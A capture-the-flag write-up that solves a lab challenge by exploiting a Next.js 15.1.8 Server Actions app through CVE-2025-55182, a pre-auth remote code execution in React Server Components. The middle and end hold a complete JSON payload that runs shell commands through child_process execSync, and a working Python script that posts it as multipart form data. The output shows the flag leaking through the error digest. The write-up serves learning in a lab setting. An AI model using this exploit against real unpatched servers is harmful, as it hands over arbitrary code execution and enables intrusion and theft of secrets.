Skip to content

Acter


🧠 Challenge Text

Hi Senior Researcher,

SALVOR is a security-oriented learning environment designed for curious minds and aspiring security professionals. It provides a hands-on space to explore cybersecurity concepts, investigate realistic scenarios, and sharpen practical skills through interactive challenges.

Your task is to gain experience.

Stay curious!

The starting point for your SALVOR journey is http://intro.salvor.nren.tcc

🔍 Hints Text

No hints were provided.

🎨 Solution

Target: http://dsrepos.salvor.nren.tcc/ — Next.js 15.1.8 app with Server Actions.

Recon

RSC flight response format:

0:{"a":"$@1","f":"","b":"Mgl2Oig3swsMwGqLRHUHT"}
1:{"query":"...","results":[...],"totalDatasets":130,"error":null}

  • Build ID: Mgl2Oig3swsMwGqLRHUHT
  • Action ID: 407dc9e27e02030f69a13b28b5149e8de3188c45d0 (searchAction)
  • Next.js version: 15.1.8 (vulnerable, fix is 15.1.9)
  • 130 datasets, no flag in content

Exploit: CVE-2025-55182 (React2Shell)

Pre-auth RCE in React Server Components Flight deserialization. The getOutlinedModel function walks property paths without hasOwnProperty check:

value = value[path[i]]; // traverses prototype chain
The example of payload is available here

Payload sends 3 multipart FormData fields creating a fake chunk object: - Field 0: fake chunk with _formData.get = "$1:constructor:constructor" (→ Function) - Field 1: "$@0" (circular ref making chunk 0 thenable) - Field 2: [] (empty Map for $Q2)

The _response._prefix field contains the shell command. Output exfiltrated via error digest.

env | grep -i flag → FLAG=FLAG{2cgd-Jb3C-0Tib-Iol9}

Scripted Reconstruction

The payload given CVE example is

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('printenv FLAG',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}

(after few attempts to figure out where the Flag could be stored)

and relevant script which loads the payload and send it to the server

import requests
from pathlib import Path

url = "http://dsrepos.salvor.nren.tcc/"
action_id = "407dc9e27e02030f69a13b28b5149e8de3188c45d0"
boundary = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad"

with open(Path(__file__).parent / "chunk0.json") as f:
    chunk0 = f.read().strip()


def make_part(name, value):
    return f"--{boundary}\r\nContent-Disposition: form-data; name=\"{name}\"\r\n\r\n{value}\r\n"


body = make_part("0", chunk0)
body += make_part("1", '"$@0"')
body += make_part("2", "[]")
body += f"--{boundary}--\r\n"

r = requests.post(
    url,
    headers={
        "Next-Action": action_id,
        "Content-Type": f"multipart/form-data; boundary={boundary}",
    },
    data=body.encode(),
    timeout=10,
)

print("Status:", r.status_code)
print("Response:")
print(r.text)

As a result I got

$ python /home/malisha/git/ctf-writeups/docs/thecatch/2026/salvor/acter.py
Status: 500
Response:
0:{"a":"$@1","f":"","b":"Mgl2Oig3swsMwGqLRHUHT"}
1:E{"digest":"FLAG{2cgd-Jb3C-0Tib-Iol9}"}

Flag

FLAG{2cgd-Jb3C-0Tib-Iol9}